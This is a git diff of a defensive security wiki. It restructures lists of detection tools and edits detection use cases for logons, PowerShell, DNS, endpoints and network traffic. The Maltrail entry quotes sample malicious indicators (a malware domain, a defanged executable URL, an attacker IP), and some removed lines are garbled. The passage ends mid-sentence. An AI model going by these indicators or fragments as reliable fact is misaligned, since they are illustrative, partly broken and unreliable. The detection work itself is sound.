endcontent-ref %} -For Netflow logs and Packet Capture, please see the following: +For network log collection and architecture, use Logging and Security Architecture. {% content-ref url="../../security-logging/logging-guide-network-services.md" %} [logging-guide-network-services.md](../../security-logging/logging-guide-network-services.md) {% endcontent-ref %} -{% content-ref url="../packet-analysis.md" %} -[packet-analysis.md](../packet-analysis.md) -{% endcontent-ref %} +## Endpoint Detection -* [Zeek](https://github.com/zeek/zeek) - A departure from traditional signature based detection, Zeek is a network traffic analysis engine that allows network security monitoring at the application layer even in large networks. This tool was formerly known as Bro. - * [Zeek Agent v2](https://github.com/zeek/zeek-agent-v2) - The modern endpoint monitoring agent that provides host activity to Zeek (supersedes the archived zeek-agent). - * [Anomalous DNS](https://github.com/jbaggs/anomalous-dns) - A set of Zeek scripts providing a module for tracking and correlating abnormal DNS behavior. - * [Mitre ATT\&CK's BZAR](https://github.com/mitre-attack/bzar) - A set of Zeek scripts to detect ATT\&CK techniques. - * [RDFP](https://github.com/theparanoids/rdfp) - Zeek Remote desktop fingerprinting script based on FATT (Fingerprint All The Things) - * [https://www.pluralsight.com/courses/writing-zeek-rules](https://www.pluralsight.com/courses/writing-zeek-rules) - * [https://github.com/JustinAzoff/bro-pdns](https://github.com/JustinAzoff/bro-pdns) - * _PTFM: Zeek Commands - pg. 168_ - * _Bro - Applied Network Security Monitoring - pg.255fc_ -* [Corelight](https://corelight.com/) - The premium, Enterprise grade, Zeek Alternative. -* [arpwatch](https://www.kali.org/tools/arpwatch/) - Arpwatch maintains a database of Ethernet MAC addresses seen on the network, with their associated IP pairs. Alerts the system administrator via e-mail if any change happens, such as new station/activity, flip-flops, changed and re-used old addresses. -* [maltrail](https://github.com/stamparm/maltrail) - **Maltrail** is a malicious traffic detection system, utilizing publicly available (black)lists containing malicious and/or generally suspicious trails, along with static trails compiled from various AV reports and custom user defined lists, where trail can be anything from domain name (e.g. `zvpprsensinaix.com` for [Banjori](http://www.johannesbader.ch/2015/02/the-dga-of-banjori/) malware), URL (e.g. `hXXp://109.162.38.120/harsh02.exe` for known malicious [executable](https://www.virustotal.com/en/file/61f56f71b0b04b36d3ef0c14bbbc0df431290d93592d5dd6e3fffcc583ec1e12/analysis/)), IP address (e.g. `185.130.5.231` for known attacker) or HTTP User-Agent header value (e.g. `sqlmap` for automatic SQL injection and database takeover tool). Also, it uses (optional) advanced heuristic mechanisms that can help in discovery of unknown threats (e.g. new malware). - -## Endpoint - -### Open Source EDR: Endpoint Detection and Response - -* [OSSEC](https://www.ossec.net/about/) - a scalable, multi-platform, open source Host-based Intrusion Detection System (HIDS) -* [Wazuh](https://github.com/wazuh/wazuh) - Starting as a fork of OSSEC, it was built with reliability and scalability in mind. It differs from OSSEC by integrating with the Elastic Stack, offering an improved rule set, and providing a RESTful API. Features include File Integrity Monitoring, Vulnerability Management, Configuration Management, Incident Response capabilities, and a user-friendly UI. -* [BlueSpawn](https://github.com/ION28/BLUESPAWN) - EDR + Active Defense tool. (Note: Project is currently dormant/inactive). -* [Aurora](https://www.nextron-systems.com/aurora/) - Sigma-based EDR agent. - * [https://www.nextron-systems.com/2021/11/13/aurora-sigma-based-edr-agent-preview/](https://www.nextron-systems.com/2021/11/13/aurora-sigma-based-edr-agent-preview/) - -### [osquery](https://osquery.io/) - -* **osquery** is one of the most advanced endpoint visibility tools available. It can be used for File Integrity Monitoring (FIM), change management, and security endpoint detection. - * [Awesome Lists Collection: osquery Resources](https://github.com/sttor/awesome-osquery) - * [OSQuery-extension](https://github.com/trailofbits/osquery-extensions) - OSQuery extensions by Trail of Bits - * [OSQuery-attck](https://github.com/teoseller/osquery-attck) - Mapping the MITRE ATT\&CK Matrix with Osquery - * [OSQuery-configuration](https://github.com/palantir/osquery-configuration): A repository for using osquery for incident detection and response +* [OSSEC](https://www.ossec.net/about/) - A scalable, multi-platform, open-source host-based intrusion detection system. +* [Wazuh](https://github.com/wazuh/wazuh) - OSSEC fork with Elastic integration, improved rules, an API, and a UI. +* [Aurora](https://www.nextron-systems.com/aurora/) - Sigma-based endpoint detection agent from Nextron. +* [osquery](https://osquery.io/) - Endpoint visibility tool that exposes operating system state through SQL. + * [Awesome osquery](https://github.com/sttor/awesome-osquery) + * [Trail of Bits osquery extensions](https://github.com/trailofbits/osquery-extensions) + * [OSQuery ATT&CK](https://github.com/teoseller/osquery-attck) + * [Palantir osquery configuration](https://github.com/palantir/osquery-configuration) * [Introduction to osquery for Threat Detection and DFIR](https://www.rapid7.com/blog/post/2016/05/09/introduction-to-osquery-for-threat-detection-dfir/) * [Using osquery for remote forensics](https://blog.trailofbits.com/2019/05/31/using-osquery-for-remote-forensics/) - * [OSQuery: Incident Response Across the Enterprise.](https://blog.palantir.com/osquery-across-the-enterprise-3c3c9d13ec55) - * eek-agent](https://github.com/zeek/zeek-agent) - An endpoint monitoring agent that provides host activity to Zeek -* [Velociraptor](https://github.com/Velocidex/velociraptor) - a tool for collecting host based state information. -* [Hayabusa](https://github.com/Yamato-Security/hayabusa) - A fast forensics timeline generator and threat hunting tool for Windows event logs. It utilizes Sigma rules to scan logs to identify anomalies and specific attack techniques. -* [DeepBlueCLI](https://github.com/sans-blue-team/DeepBlueCLI) - A PowerShell script that analyzes Windows Security, System, and Application event logs to automatically detect suspicious behaviors like password spraying and command line obfuscation. + * [Osquery: Incident Response Across the Enterprise](https://blog.palantir.com/osquery-across-the-enterprise-3c3c9d13ec55) +* [Velociraptor](https://github.com/Velocidex/velociraptor) - Endpoint visibility and collection tool used in detection, hunting, and response workflows. +* [Hayabusa](https://github.com/Yamato-Security/hayabusa) - Fast Windows event log timeline and threat hunting tool that uses Sigma rules. +* [DeepBlueCLI](https://github.com/sans-blue-team/DeepBlueCLI) - PowerShell tool for detecting suspicious activity in Windows event logs. + +## Cloud and Container Detection -## Cloud & Container Security +* [Falco](https://falco.org/) - Cloud-native runtime security tool for detecting unexpected behavior from Linux system calls. +* [Sysdig](https://github.com/draios/sysdig) - Linux system visibility tool useful for container and host investigation. -* [Falco](https://falco.org/) - The cloud-native runtime security project. Falco parses Linux system calls at runtime to detect unexpected behavior, making it the standard for threat detection in Kubernetes and containerized environments. -* [Prowler](https://github.com/prowler-cloud/prowler) - Essential for identifying configuration drifts and security events in AWS, Azure, and GCP. Checks against CIS benchmarks and other standardsresponse queries for osquery +Cloud and container hardening tools belong with device hardening and the platform pages. -### Other Tools +{% content-ref url="../device-hardening/" %} +[device-hardening](../device-hardening/) +{% endcontent-ref %} -* [Sysdig](https://github.com/draios/sysdig): Linux system exploration and visibility tool -* [ZEEK-agent](https://github.com/zeek/zeek-agent) - An endpoint monitoring agent that provides host activity to ZEEK -* [Veliciraptor](https://github.com/Velocidex/velociraptor) - a tool for collecting host based state information. +{% content-ref url="../../containers.md" %} +[containers.md](../../containers.md) +{% endcontent-ref %} ## Sysmon +Use this page for Sysmon configuration, event IDs, and related tooling. + {% content-ref url="sysmon.md" %} [sysmon.md](sysmon.md) {% endcontent-ref %} -## Fingerprinting - -* Fingerprint Databases - * [SSL Fingerprint JA3](https://ja3er.com/) - * [TLSfingerprint.io](https://tlsfingerprint.io/) - * [https://sslbl.abuse.ch/ja3-fingerprints/](https://sslbl.abuse.ch/ja3-fingerprints/) - * [https://github.com/trisulnsm/ja3prints](https://github.com/trisulnsm/ja3prints) -* [JA3](https://github.com/salesforce/ja3) - A method for creating SSL/TLS client fingerprints that is easy to produce on any platform and share for threat intelligence. - * Salesforce Guide: \*READ FIRST\* - [TLS F(Legacy) A method for creating SSL/TLS client fingerprints. *Note: The original repo is archived. See [JA4](https://github.com/FoxIO-LLC/ja4) for the modern successor.* - * Salesforce Guide: \*READ FIRST\* - [TLS Fingerprinting with JA3 and JA3S](https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967) - * [Open Sourcing JA3: SSL/TLS Client Fingerprinting](https://engineering.salesforce.com/open-sourcing-ja3-92c9e53c3c41) - * [RDP Fingerprinting -rprinting Beyond JA3](https://www.ntop.org/ndpi/effective-tls-fingerprinting-beyond-ja3/) -* [HASSH](https://github.com/salesforce/hassh) - A network fingerprinting standard which can be used to identify specific Client and Server SSH implementations. The fingerprints can be easily stored, searched and shared in the form of a small MD5 fingerprint. -* [FATT: Fingerprint All The Things](https://github.com/0x4D31/fatt) -A pyshark based script for extracting network metadata and fingerprints from pcap files and live network traffic -* [RDFP](https://github.com/theparanoids/rdfp) - Zeek Remote desktop fingerprinting script based on FATT (Fingerprint All The Things) -* [Recog](https://github.com/rapid7/recog) - A framework for identifying products, services, operating systems, and hardware by matching fingerprints against data returned from various network probes. Recog makes it simple to extract useful information from web server banners, snmp system description fields, and a whole lot more. - -## Threat Intelligence Platforms (TIP) - -* [MISP (Malware Information Sharing Platform)](https://www.misp-project.org/) - The de facto open-source standard for storing and sharing threat intelligence. It allows organizations to collaborate by sharing Indicators of Compromise (IOCs) in a structured format. -* [OpenCTI](https://github.com/OpenCTI-Platform/opencti) - A unified platform for managing cyber threat intelligence. It helps organizations structure, store, organize, visualize, and share their knowledge about cyber threats. - -## Attack Surface Monitoring and Asset Discovery - -* [Awesome Lists Collection: Asset Discovery](https://github.com/redhuntlabs/Awesome-Asset-Discovery) -* [https://cheatsheetseries.owasp.org/cheatsheets/Attack\_Surface\_Analysis\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Attack\_Surface\_Analysis\_Cheat\_Sheet.html) +## Detection Use Cases -### [Amass](https://github.com/OWASP/Amass) +Use these pages for practical detection ideas by protocol, log type, and behavior category. -The OWASP Amass Project performs network mapping of attack surfaces and external asset discovery using open source information gathering and active reconnaissance techniques. - -* [Hakluke's Amass Guide](https://medium.com/@hakluke/haklukes-guide-to-amass-how-to-use-amass-more-effectively-for-bug-bounties-7c37570b83f7) -* [Dionach's Amass Guide](https://www.dionach.com/blog/how-to-use-owasp-amass-an-extensive-tutorial/) -* [Amass Tutorial (Video)](https://www.youtube.com/watch?v=mEQnVkSG19M) - -### [projectdiscovery.io](https://projectdiscovery.io/#/) - -A collection of open source tools for attack surface management and bug bounties. - -* [nuclei](https://github.com/projectdiscovery/nuclei) - Fast and customizable vulnerability scanner based on a simple YAML-based DSL. - * [https://github.com/projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - * [https://github.com/projectdiscovery/nuclei-docs](https://github.com/projectdiscovery/nuclei-docs) -* [subfinder](https://github.com/projectdiscovery/subfinder) - Subfinder is a subdomain discovery tool that identifies valid subdomains for websites. Designed as a passive framework, it is useful for bug bounties and safe for penetration testing. -* [naabu](https://github.com/projectdiscovery/naabu) - A fast port scanner written in Go with a focus on reliability and simplicity. Designed to be used in combination with other tools for attack surface discovery in bug bounties and pentests. -* [httpx](https://github.com/projectdiscovery/httpx) - A fast and multi-purpose HTTP toolkit that allows running multiple probers using the `retryablehttp` library. It is designed to maintain result reliability with increased threads. -* [proxify](https://github.com/projectdiscovery/proxify) - Swiss Army knife Proxy tool for HTTP/HTTPS traffic capture, manipulation, and replay on the go. -* [dnsx](https://github.com/projectdiscovery/dnsx) - A fast and multi-purpose DNS toolkit that allows running multiple DNS queries of your choice with a list of user-supplied resolvers. - -### Other tools - -* [SecurityTrails](https://securitytrails.com/) - Powerful tools for third-party risk, attack surface management, and detailed intelligence. -* [WhoisXML API](https://www.whoisxmlapi.com/) - Domain & IP data intelligence for greater enterprise security. -* [RiskIQ](https://www.riskiq.com/) - RiskIQ Digital Footprint gives complete visibility beyond the firewall. Unlike scanners and IP-dependent data vendors, RiskIQ Digital Footprint is a solution with composite intelligence, code-level discovery, and automated threat detection and exposure monitoring—security intelligence mapped to your attack surface. -* [DeHashed](https://dehashed.com/) - Scan domains for indicators found in breaches. +{% content-ref url="detection-use-cases/" %} +[detection-use-cases](detection-use-cases/) +{% endcontent-ref %} -### Network Diffing +## Related Sections -A simple but effective monitoring method, where regular port scans are run and then compared to previous scan results. This can be handy for detecting newly open ports on scanned devices. This action can be easily and quickly performed by [Masscan](https://github.com/robertdavidgraham/masscan). +Some resources are useful to detection teams but belong in other buckets: -* _The Hacker Playbook 3: Monitoring an Environment - pg.24_ +* Threat intelligence platforms, feeds, enrichment sources, and reputation lookups live in Cyber Intelligence. -## Deception Technology +{% content-ref url="../../cyber-intelligence/" %} +[cyber-intelligence](../../cyber-intelligence/) +{% endcontent-ref %} -* [OpenCanary](https://github.com/thinkst/opencanary) - A daemon that runs multiple "canary" versions of common services (SSH, HTTP, FTP, etc.). It acts as a lightweight, low-interaction honeypot that alerts on the first sign of interaction. -* [CanaryTokens](https://canarytokens.org/) - A free and simple way to drop "tripwires" into files, folders, or databases. Tokens (like a unique URL or DNS hostname) trigger an alert when accessed. +* Attack surface discovery and active reconnaissance tools live in Red Offensive. -## File Integrity Monitoring +{% content-ref url="../../red-offensive/scanning-active-recon/" %} +[scanning-active-recon](../../red-offensive/scanning-active-recon/) +{% endcontent-ref %} -Persistence mechanisms often require attackers to interact with the target machine, such as creating or modifying files. This gives defenders the opportunity to detect them by monitoring for file creation or modification in critical files or directories. +* Deception, honeypots, and canary tokens live in Active Defense. -* [AuditBeat's FIM](https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-file\_integrity.html) -* [auditd](https://www.redhat.com/sysadmin/configure-linux-auditing-auditd) -* [Wazuh's FIM](https://documentation.wazuh.com/current/learning-wazuh/detect-fs-changes.html) +{% content-ref url="../active-defense.md" %} +[active-defense.md](../active-defense.md) +{% endcontent-ref %} -## File Analysis & Scanning +* YARA authoring, Loki, malware scanning, and file analysis live in DFIR. -* [YARA](https://virustotal.github.io/yara/) - The industry standard for file-based pattern matching. YARA helps identify and classify malware samples by creating descriptions based on textual or binary patterns. -* [Loki](https://github.com/Neo23x0/Loki) - A free and simple IOC scanner that uses YARA rules and other indicators to scan endpoints for signs of compromise. +{% content-ref url="../../dfir-digital-forensics-and-incident-response/yara.md" %} +[yara.md](../../dfir-digital-forensics-and-incident-response/yara.md) +{% endcontent-ref %} -## Misc Tools +* JA3, HASSH, FATT, RITA, and other network fingerprinting or beaconing analysis resources live in Packet Analysis. -* [SAGAN](https://github.com/quadrantsec/sagan) - An open source (GNU/GPLv2) high performance, real-time log analysis & correlation engine that can be used with popular IDS tools and rules sets like Suricata and SNORT. -* [RITA](https://github.com/activecm/rita) - A tool that scans Zeek logs for beaconing detection and DNS tunneling. -* [dnstwist](https://github.com/elceef/dnstwist) - Tool for creation of potential typo-squatting domains by use of multi-character permutation and checking for registration of those domains. - * [https://dnstwister.report/](https://dnstwister.report/) - Online Version and DNS monitoring service +{% content-ref url="../packet-analysis.md" %} +[packet-analysis.md](../packet-analysis.md) +{% endcontent-ref %} ## Deprecated / Archived Projects -The following tools were widely used or referenced in the past but are currently unmaintained, archived, or have been superseded. They are listed here for historical context or research purposes. - -* **[Intrigue Core](https://github.com/intrigueio/intrigue-core)** - Formerly a popular attack surface discovery framework, the project was archived following the acquisition by Mandiant (Google Cloud). -* **[Revoke-Obfuscation](https://github.com/danielbohannon/Revoke-Obfuscation)** - A legendary PowerShell obfuscation detection tool. While valuable for research, it is not actively maintained against modern PowerShell versions or evasion techniques. -* **[Flare](https://github.com/austin-taylor/flare)** - A network analysis tool for Elastic Stack. Unmaintained. -* **[OpenUBA](https://github.com/GACWR/OpenUBA)** - User & Entity Behavior Analytics framework. Unmaintained. -* **[BlueSpawn](https://github.com/ION28/BLUESPAWN)** - EDR + Active Defense tool. Inactive/Dormant. -* **[OpenEDR](https://github.com/ComodoSecurity/openedr)** - Open Source EDR monitoring. Inactive/Stagnant. -* **[whids](https://github.com/0xrawsec/whids)** - Open Source EDR for Windows. Unmaintained. -* **[ODIN](https://github.com/chrismaddalena/ODIN)** - Automated intelligence gathering tool. Unmaintained. -* **[Asnip](https://github.com/harleo/asnip)** - Attack surface mapping tool. Unmaintained. -* **[AttackSurfaceMapper](https://github.com/superhedgy/AttackSurfaceMapper)** - Reconnaissance tool. Unmaintained. -* **[GQUIC Protocol Analyzer](https://github.com/salesforce/GQUIC\_Protocol\_Analyzer)** - Obsolete. Zeek now includes native [QUIC support](https://docs.zeek.org/en/current/scripts/base/protocols/quic/index.html). - -## **Detection Use Cases** - -{% content-ref url="detection-use-cases/" %} -[detection-use-cases](detection-use-cases/) -{% endcontent-ref %} +These tools were widely used or referenced in the past but are now unmaintained, archived, or superseded. They remain here for historical context. + +* [BlueSpawn](https://github.com/ION28/BLUESPAWN) - EDR and active defense tool. Inactive/dormant. +* [Intrigue Core](https://github.com/intrigueio/intrigue-core) - Former attack surface discovery framework, archived after the Mandiant/Google Cloud acquisition. +* [Revoke-Obfuscation](https://github.com/danielbohannon/Revoke-Obfuscation) - PowerShell obfuscation detection research tool. +* [Flare](https://github.com/austin-taylor/flare) - Unmaintained network analysis tool for Elastic Stack. +* [OpenUBA](https://github.com/GACWR/OpenUBA) - Unmaintained user and entity behavior analytics framework. +* [OpenEDR](https://github.com/ComodoSecurity/openedr) - Open-source EDR monitoring project that appears inactive. +* [whids](https://github.com/0xrawsec/whids) - Open-source EDR for Windows. Unmaintained. +* [ODIN](https://github.com/chrismaddalena/ODIN) - Automated intelligence gathering tool. Unmaintained. +* [Asnip](https://github.com/harleo/asnip) - Attack surface mapping tool. Unmaintained. +* [AttackSurfaceMapper](https://github.com/superhedgy/AttackSurfaceMapper) - Reconnaissance tool. Unmaintained. +* [GQUIC Protocol Analyzer](https://github.com/salesforce/GQUIC_Protocol_Analyzer) - Obsolete; Zeek now includes native [QUIC support](https://docs.zeek.org/en/current/scripts/base/protocols/quic/index.html). diff --git a/blue-defense/event-detection/detection-use-cases/README.md b/blue-defense/event-detection/detection-use-cases/README.md index 032b74d..5558825 100644 --- a/blue-defense/event-detection/detection-use-cases/README.md +++ b/blue-defense/event-detection/detection-use-cases/README.md @@ -1,6 +1,6 @@ # Detection Use Cases -While many security products have built in detection use cases, there will always be situations where a custom detection use case will need to be developed. In order to create a successful use cases, we need to have a few key elements. +While many security products have built-in detection use cases, there will always be situations where a custom detection use case must be developed. In order to create a successful use case, we need to have a few key elements. ## Theory @@ -19,7 +19,7 @@ The first step in building a use case is the theory behind it. While the protoco The most effective security monitoring programs, undergo a constant state of tuning and refinement. This allows the highest degree of detection while not overwhelming your analysts with alerts to investigate. High volumes of false positives are typically either a poorly written rule, or noise in your environment that needs to be tuned out. All alerts should have a set of exclusions that should be placed within the use case logic to accommodate any known issues, and therefore not create an alert on those circumstances. -Sometimes you will have to perform a cost benefit analysis on each use case. Is there value in spending gobs of time on every port scan alert you receive? That is up to you. (You shoudnt) +Sometimes you will have to perform a cost-benefit analysis on each use case. Is there value in spending a large amount of time on every port scan alert you receive? That is up to you, but in most environments the answer is no. ## Detection Guides @@ -44,9 +44,15 @@ Sometimes you will have to perform a cost benefit analysis on each use case. Is [windows-event-id-logging-list.md](windows-event-id-logging-list.md) {% endcontent-ref %} +For SIEM query languages and detection rule syntax, use the Query Languages page. + +{% content-ref url="../../query-languages.md" %} +[query-languages.md](../../query-languages.md) +{% endcontent-ref %} + ## **Detection Use Case Collections** -If you ever want to take the easy way of development, and simply purchase search rules or copy some that are existing on other platforms, there are a few places available on the web. Many poopular SIEMs have sets of rules included in the software. For more, please review the Event Detection section. +If you want to start from existing searches, many SIEMs include rule packs and several communities publish detection content. Treat these as starting points: test them against your data, tune them for your environment, and document any assumptions. * [sigma/rules at master · SigmaHQ/sigma · GitHub](https://github.com/SigmaHQ/sigma/tree/master/rules) * [https://github.com/elastic/protections-artifacts](https://github.com/elastic/protections-artifacts) diff --git a/blue-defense/event-detection/detection-use-cases/authentication-logon.md b/blue-defense/event-detection/detection-use-cases/authentication-logon.md index 3d997a7..e76bdf1 100644 --- a/blue-defense/event-detection/detection-use-cases/authentication-logon.md +++ b/blue-defense/event-detection/detection-use-cases/authentication-logon.md @@ -31,10 +31,16 @@ * AND * NOT Logon Type = 7 (device unlock) * AND - * EventID 4624 OR EventID 4624 + * EventID 4624 * AND * Logon Type = 7 (device unlock) NOT within the past 24 hours +For Windows Event ID references used by this page, see: + +{% content-ref url="windows-event-id-logging-list.md" %} +[windows-event-id-logging-list.md](windows-event-id-logging-list.md) +{% endcontent-ref %} + **Anonymous Impersonation level** * Theory diff --git a/blue-defense/event-detection/detection-use-cases/command-line.md b/blue-defense/event-detection/detection-use-cases/command-line.md index c740946..b8153f9 100644 --- a/blue-defense/event-detection/detection-use-cases/command-line.md +++ b/blue-defense/event-detection/detection-use-cases/command-line.md @@ -65,7 +65,7 @@ * Logging of Event ID 400 * Logic * Where - * EventID 400 Occcurs + * EventID 400 occurs * AND * EngineVersion!=5.0 or newer. * Reference @@ -75,7 +75,7 @@ * Theory * There are certain strings that can be used to detect certain types of activity that is either unwanted or should be monitored due to the context of the string. * "wmi" commands may be used internally, however they are a favorite for attackers exploiting a system. Filter and monitor its use. - * "DLL" commandlets should always be monitored, as there are no built-in commandlets containing "DLL" in thier name. + * "DLL" cmdlets should always be monitored, as there are no built-in cmdlets containing "DLL" in their name. * Detection Requirements * Command Line Logging * Logging of Event IDs 4103 and/or 4104, 4105, and 4106 @@ -90,6 +90,12 @@ * Reference * [https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/](https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/) +For Windows Event ID references used by this page, see: + +{% content-ref url="windows-event-id-logging-list.md" %} +[windows-event-id-logging-list.md](windows-event-id-logging-list.md) +{% endcontent-ref %} + **Powershell cmdlet long tail analysis** * Theory diff --git a/blue-defense/event-detection/detection-use-cases/detection-use-cases.md b/blue-defense/event-detection/detection-use-cases/detection-use-cases.md index 2a23107..a9dd0c2 100644 --- a/blue-defense/event-detection/detection-use-cases/detection-use-cases.md +++ b/blue-defense/event-detection/detection-use-cases/detection-use-cases.md @@ -23,10 +23,10 @@ * .bashrc and .bash\_profile changes * _PTFM: Bash changes- pg. 90 (Requires Bash File Audit)_ * PrivEsc Detection - * UAC Bypas + * UAC Bypass * _PTFM: UAC Bypass via Event Viewer - pg. 34 (Requires Registry Changes)_ * _PTFM: UAC Bypass via fodhelper.exe - pg. 34 (Requires Registry Changes)_ - * Poorly configed Cron Jobs + * Poorly configured Cron Jobs * _PTFM: Poorly configured Cron Jobs - pg. 96_ * Mimikatz Use * Operator Handbook: Detect Mimikatz - pg.207 diff --git a/blue-defense/event-detection/detection-use-cases/dns.md b/blue-defense/event-detection/detection-use-cases/dns.md index 2bf9bf2..61e7fa3 100644 --- a/blue-defense/event-detection/detection-use-cases/dns.md +++ b/blue-defense/event-detection/detection-use-cases/dns.md @@ -31,3 +31,13 @@ description: Detection, Enrichment, and Use cases * Direct out connection detection * There are very few instances that outbound traffic will not have a DNS entry. This will occur when an application or malware is reaching out to a hard-coded IP address and does not make a DNS request. By matching outbound traffic with DNS requests, and looking for all of those that do not show in the DNS entry, we can detect this activity. * Exceptions can include Microsoft IP addresses, CDN addresses like Akamai, Root DNS server addresses, and functions of specific vendor tools. Will require white listing. + +For domain investigation, passive DNS, and enrichment tools such as dnstwist and domain reputation lookups, use the OSINT and Threat Data pages. + +{% content-ref url="../../../cyber-intelligence/osint/domain.md" %} +[domain.md](../../../cyber-intelligence/osint/domain.md) +{% endcontent-ref %} + +{% content-ref url="../../../cyber-intelligence/threat-data.md" %} +[threat-data.md](../../../cyber-intelligence/threat-data.md) +{% endcontent-ref %} diff --git a/blue-defense/event-detection/detection-use-cases/endpoint.md b/blue-defense/event-detection/detection-use-cases/endpoint.md index 27b85ba..4d43ca5 100644 --- a/blue-defense/event-detection/detection-use-cases/endpoint.md +++ b/blue-defense/event-detection/detection-use-cases/endpoint.md @@ -8,7 +8,7 @@ * USB connections will create new events in the System log when connection, but not removed or plugged in a second time, by default. * Detection Requirements * Logging of EventID 2003, 2010, 2100, and 2101 - * Enable Event IDs in the Microsoft\Windows\DriverFrameworks-UserMode Operations Channel to detect ALL USB plug and unplug events, not just the first time (Defualt). Will add device serial and unique session to log data. + * Enable Event IDs in the Microsoft\Windows\DriverFrameworks-UserMode Operations Channel to detect all USB plug and unplug events, not just the first time (default). This will add device serial and unique session data to log records. * Default is to be disabled * Enable with Powershell @@ -19,7 +19,7 @@ * `$log.IsEnabled=$true # change to $false if disabling` * `$log.SaveChanges()` - * \*Optional\* -[ NirSoft USBDeview](https://www.nirsoft.net/utils/usb\_devices\_view.html) tool can run regularly and export details USB logs to a CSV file for lookup and ingest. Power shell can be used to invoke the tool and create a Windows Event from it as well. + * \*Optional\* - [NirSoft USBDeview](https://www.nirsoft.net/utils/usb\_devices\_view.html) can run regularly and export USB details to a CSV file for lookup and ingest. PowerShell can invoke the tool and create a Windows event from the output. * Logic 1 - Windows USB Insertion events * Where * These events occur in succession with the same device @@ -66,7 +66,7 @@ * AND * The service name has a high entropy value * Reference - * [h](https://www.rapid7.com/blog/post/2018/03/05/cis-critical-control-9-limitation-and-control-of-ports-protocols-and-services/)[ttps://www.rapid7.com/blog/post/2018/03/05/cis-critical-control-9-limitation-and-control-of-ports-protocols-and-services/](https://www.rapid7.com/blog/post/2018/03/05/cis-critical-control-9-limitation-and-control-of-ports-protocols-and-services/) + * [Rapid7: CIS Critical Control 9 - Limitation and Control of Ports, Protocols, and Services](https://www.rapid7.com/blog/post/2018/03/05/cis-critical-control-9-limitation-and-control-of-ports-protocols-and-services/) **New Scheduled task** @@ -86,7 +86,7 @@ * The following event occurs on an endpoint * EventID 4657 * AND - * Manipulation of one fo the following target Registry key is one of the following: + * Manipulation of one of the following registry keys: * HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run * HKEY\_CURRENT\_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run * HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce @@ -99,7 +99,7 @@ * Theory * Pass-the-hash attacks often use local administrator accounts to log in to other devices using the local admin's NTLM password hash instead of the password itself. Local accounts are rarely seen/used for logging into another device. NTLM use for local accounts is disabled by default, but still enabled for RID 500 (Administrator) accounts. Best practice is to disable this account and provision a specific user account with administrator privileges. * Some offensive tools will create a random Workstation name when performing a Pass-The-Hash attack. By checking the entropy value of workstation names in EventID 4624 logs, we can potentially discover the use of these tools. - * Local accounts should never be used to attempt to login to a second device. This activity could indicate a pass the hash attempt or other malcious activity. + * Local accounts should never be used to attempt to login to a second device. This activity could indicate a pass-the-hash attempt or other malicious activity. * Detection Requirements * Logging of EventID 4624: Account was successfully logged on. * Logging of EventID 4625: An account failed to log in. @@ -185,7 +185,7 @@ **Logs Cleared** * Theory - * Threat actors will typically try to delete logs in order to cover thier tracks and make analysis more difficult. Looking for these actions can alert to when a threat actor is in your environment. + * Threat actors will typically try to delete logs in order to cover their tracks and make analysis more difficult. Looking for these actions can alert to when a threat actor is in your environment. * Detection Requirements * Logging of EventID 104: The System log file was cleared * Logging of EventID 1102 - The audit log was cleared @@ -198,7 +198,7 @@ **AppLocker Blocked Action** * Theory - * AppLocker can log when and EXE, DLL, MSI, or script is allowed, blocked, or wouldhave been blocked but is in a pre-enforcement mode. Combined with a strong application whitelisting policy, this can greatly harden a device. + * AppLocker can log when an EXE, DLL, MSI, or script is allowed, blocked, or would have been blocked in pre-enforcement mode. Combined with a strong application allow-listing policy, this can greatly harden a device. * Detection requirements * Logging of EventID 8002: Allowed EXE or DLL * Logging of EventID 8003: Would have blocked EXE or DLL @@ -214,3 +214,13 @@ * Where * The following event occurs on an endpoint: * EventID 8003 OR EventID 8004 OR EventID 8006 OR EventID 8007 + +For Sysmon configuration and Windows Event ID references, see: + +{% content-ref url="../sysmon.md" %} +[sysmon.md](../sysmon.md) +{% endcontent-ref %} + +{% content-ref url="windows-event-id-logging-list.md" %} +[windows-event-id-logging-list.md](windows-event-id-logging-list.md) +{% endcontent-ref %} diff --git a/blue-defense/event-detection/detection-use-cases/general-network-traffic.md b/blue-defense/event-detection/detection-use-cases/general-network-traffic.md index f907b66..bc1f761 100644 --- a/blue-defense/event-detection/detection-use-cases/general-network-traffic.md +++ b/blue-defense/event-detection/detection-use-cases/general-network-traffic.md @@ -2,7 +2,7 @@ **Network Baselining - Anomaly Reports** -When monitoring network traffic, we can identify anomalies of traffic by statistical outliers. These are important to review regularly for suspicious activity as well as for opportunities to add to any available white/black lists.These are typically a very large amount of data to return, so it is recommended to use these detections as regularly scheduled reports to be reviewed, rather than alerts. +When monitoring network traffic, we can identify anomalous traffic with statistical outliers. These are important to review regularly for suspicious activity as well as opportunities to tune allow and deny lists. These detections usually return a large amount of data, so it is often better to run them as scheduled reports rather than alerts. * **Large Volumes of Internal Blocked Traffic -** Traffic within your network should all be legitimate and not require any blocking. That being said, a default network setup will have TONS of internal blocked traffic. Vuln scanners, default Windows utilities, Broadcast/multicast traffic, etc. Tune these out before enabling this use case. * Great for detecting unauthorized internal recon and pivoting. @@ -27,7 +27,7 @@ When monitoring network traffic, we can identify anomalies of traffic by statist * Look for network connections, or the sum of like network connections that start/stop in sequence that add up to anything longer than 24 hours. * **Top Connections** - Reviewing top source and destination IPs can identify potentially unauthorized or malicious network traffic. This is further enhanced if you can see a trendline of the traffic to detect abnormal spikes in activity. * **Potential Data Exfiltration -** Looking at the summed byte count of of traffic between a source and destination where the session appears to be the same, can potentially expose large, unauthorized file transfers. -* **Abnormal Upload/Download Ratio** - Depending on the purpose of the device, connections will typically have an upload/download ratio that reflect that purpose. Example: Most end user devices will have web requests that are heavily trended towards download rather than upload. If that changes, it could undicate beaconing or exfiltration. This should always be correlated with spikes in connection counts as well. +* **Abnormal Upload/Download Ratio** - Depending on the purpose of the device, connections will typically have an upload/download ratio that reflects that purpose. Example: Most end user devices will have web requests that trend heavily toward 